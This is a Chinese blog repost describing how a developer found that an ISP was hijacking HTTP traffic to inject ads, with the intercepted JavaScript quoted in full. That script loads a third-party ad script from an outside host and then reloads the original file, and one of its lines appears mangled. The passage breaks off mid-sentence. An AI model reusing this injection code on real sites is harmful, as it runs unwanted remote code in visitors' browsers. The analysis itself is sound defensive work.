专栏名称: Fundebug
Fundebug为JavaScript、微信小程序及Node.js开发团队提供专业的线上代码bug监控和智能分析服务。
目录
相关文章推荐
前端早读课  ·  【早阅】始终将你的估算值乘以π ·  10 小时前  
前端大全  ·  从 DeepSeek 看25年前端的一个小趋势 ·  2 天前  
前端大全  ·  10年了,开发人员仍然不明白 ... ·  昨天  
前端早读课  ·  【第3454期】如何用语音学习编程的 ·  2 天前  
51好读  ›  专栏  ›  Fundebug

我是这样发现ISP劫持HTTP请求的

Fundebug  · 公众号  · 前端  · 2017-09-22 09:51

正文

编者按: Fundebug的客户通过分析我们提供的报警信息,定位了一个非常棘手的问题— ISP劫持http请求 。他的分析过程非常有意思,同时也提醒我们,应该及时支持HTTPS来保证站点安全。

原文: ISP劫持http请求

作者: Mr_Qi

本文版权归原作者 Mr_Qi 所有

最近业务系统经常受到前端报错邮件



发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持



经过现场排查发现出错画面部分js加载出错



区别在于错误的js会先插入一个广告js

为区别是否dns劫持查看NetWork面板



IP正确并且为我方服务器IP确认并非为DNS攻击。

由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)

返回js如下


(function () {

try {

var o = 'm-_-m',

D = document;

if (!D.getElementById(o)) {

var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',

J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),

M = 'http://pc.quansj.cn/?cid=08',

C = D.currentScript,

H = D.getElementsByTagName('head')[0],

N = function (s, i) {

var I = D.createElement('script');

I.type = 'text/JavaScript';

if (i) I.id = i;

I.src = s;

H.appendChild(I);

};

if (self == top) {

N(M, o);

}

if (!C) {

C = (function () {

var S = D.scripts,

l = S.length,

i = 0;

for (; i < l; ++i) {

if (S[i].src === j) {

return S[i];

}

}

})();

}

C && ((C.defer || C.async) ? N(J) : D.write(' +J+'"><'+'/script>'));


代码做了判断,如果支持defer或者async这直接append异步加载js,当不支持则直接通过document写入(同步执行)

也就是说理论上会同步加载我们服务器上的js~但是事实上出现了大量的js未加载到

经过查阅发现chrome有个设置(据说chrome55(?)+版本后优化)可以尝试一下

chrome://flags/#disallow-doc-written-script-loads



具体说明如下

With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how document.write() is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the 







请到「今天看啥」查看全文